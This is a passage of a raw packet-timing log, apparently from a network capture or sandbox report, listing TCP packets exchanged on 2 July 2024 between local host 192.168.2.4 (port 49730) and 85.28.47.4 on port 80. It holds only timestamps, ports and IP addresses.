Jul 2, 2024 15:26:06.768558025 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.768568993 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.768584013 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.768595934 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.768611908 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.768623114 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.768624067 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.768640995 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.768641949 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.768651962 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.768665075 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.768671036 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.768687963 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.768692970 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.768712044 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.768734932 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.768914938 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.768937111 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.768948078 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.768959045 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.768965006 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.768975019 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.768976927 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.768996000 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.769000053 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.769011974 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.769021034 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.769025087 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.769035101 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.769043922 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.769049883 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.769061089 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.769062996 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.769073963 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.769081116 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.769093990 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.769098043 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.769109011 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.769112110 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.769125938 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.769128084 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.769141912 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.769145966 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.769160986 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.769161940 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.769176960 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.769196987 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.827127934 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.827168941 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.827183008 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.827198982 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.827231884 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.827239990 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.827275991 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.827290058 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.827310085 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.827321053 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.827343941 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.827353954 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.827356100 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.827374935 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.827390909 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.827402115 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.827441931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.827452898 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.827470064 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.827475071 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.827486038 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.827488899 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.827505112 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.827507019 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.827517033 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.827533960 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.827650070 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.827692986 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.837773085 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.837810993 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.837826014 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.837830067 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.837843895 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.837860107 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.837862968 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.837877989 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.837883949 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.837892056 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.837893009 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.837901115 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.837908983 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.837912083 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.837937117 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.841015100 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.841068029 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.841094017 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.841105938 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.841131926 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.841146946 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.841172934 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.841185093 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.841202021 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.841204882 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.841213942 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.841222048 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.841236115 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.841239929 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.841248035 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.841270924 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.841275930 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.841289043 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.841305017 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.841311932 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.841320992 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.841339111 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.841340065 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.841362000 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.841382027 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.841412067 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.841442108 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.841483116 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.841494083 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.841515064 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.841515064 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.841526985 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.841526985 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.841547012 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.841557980 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.841582060 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.841593027 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.841609955 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.841620922 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.841629028 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.841639996 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.841762066 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.841773033 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.841789961 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.841798067 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.841825962 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.841835976 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.841846943 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.841864109 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.841867924 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.841876984 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.841886044 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.841902018 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.841919899 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.842097998 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.842133999 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.842185020 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.842197895 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.842219114 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.842237949 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.842278004 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.842288971 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.842304945 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.842312098 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.842325926 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.842325926 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.842339039 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.842360020 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.842382908 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.842417002 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.883975029 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.890638113 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.062968969 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.062989950 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.063066959 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.063070059 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.063114882 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.063153982 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.063167095 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.063184977 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.063195944 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.063206911 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.063215017 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.063219070 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.063229084 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.063240051 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.063255072 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.063266993 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.063285112 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.063309908 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.063322067 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.063355923 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.063437939 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.063448906 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.063467979 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.063477993 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.063497066 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.063594103 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.063736916 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.063786030 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.063826084 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.063838959 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.063872099 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.063910961 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.063922882 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.063957930 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.063982964 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.063993931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.064013004 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.064022064 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.064030886 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.064042091 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.064047098 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.064071894 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.064085007 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.064879894 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.064892054 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.064917088 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.064930916 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.064937115 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.064951897 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.064960957 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.064963102 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.064980984 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.064996004 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.065020084 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.065048933 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.065068960 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.065078974 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.065083027 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.065099001 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.065104008 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.065114975 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.065119982 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.065129042 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.065135956 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.065148115 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.065161943 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.065192938 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.065210104 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.065226078 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.065229893 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.065237045 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.065243959 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.065256119 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.065258980 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.065270901 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.065270901 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.065289974 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.065295935 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.065304995 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.065321922 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.065341949 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.065351963 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.065370083 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.065377951 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.065381050 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.065396070 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.065401077 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.065412998 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.065438986 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.065473080 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.065485001 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.065501928 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.065510988 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.065511942 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.065522909 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.065531969 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.065540075 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.065543890 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.065562010 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.065567017 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.065572977 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.065583944 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.065588951 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.065598965 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.065613985 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.065619946 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.065628052 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.065630913 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.065649986 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.065655947 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.065665960 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.065690994 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.065743923 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.065754890 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.065772057 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.065782070 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.065783978 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.065800905 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.065808058 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.065815926 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.065825939 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.065834045 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.065843105 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.065855980 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.065867901 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.065871000 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.065880060 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.065901041 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.065905094 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.065922976 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.065922976 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.065934896 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.065937042 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.065957069 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.065959930 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.065969944 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.065973043 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.065989017 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.065994024 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.066006899 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.066040993 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.066042900 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.066067934 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.066076040 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.066080093 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.066097975 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.066103935 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.066107988 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.066119909 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.066128016 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.066138983 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.066163063 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.066551924 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.066592932 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.066705942 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.066742897 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.145385027 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.145541906 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.145658016 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.145706892 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.145889044 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.145922899 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.145924091 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.145936012 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.145951986 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.145961046 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.145992041 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.146310091 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.146342039 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.146352053 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.146357059 CEST	80	49730	85.28.47.4	192.168.2.4
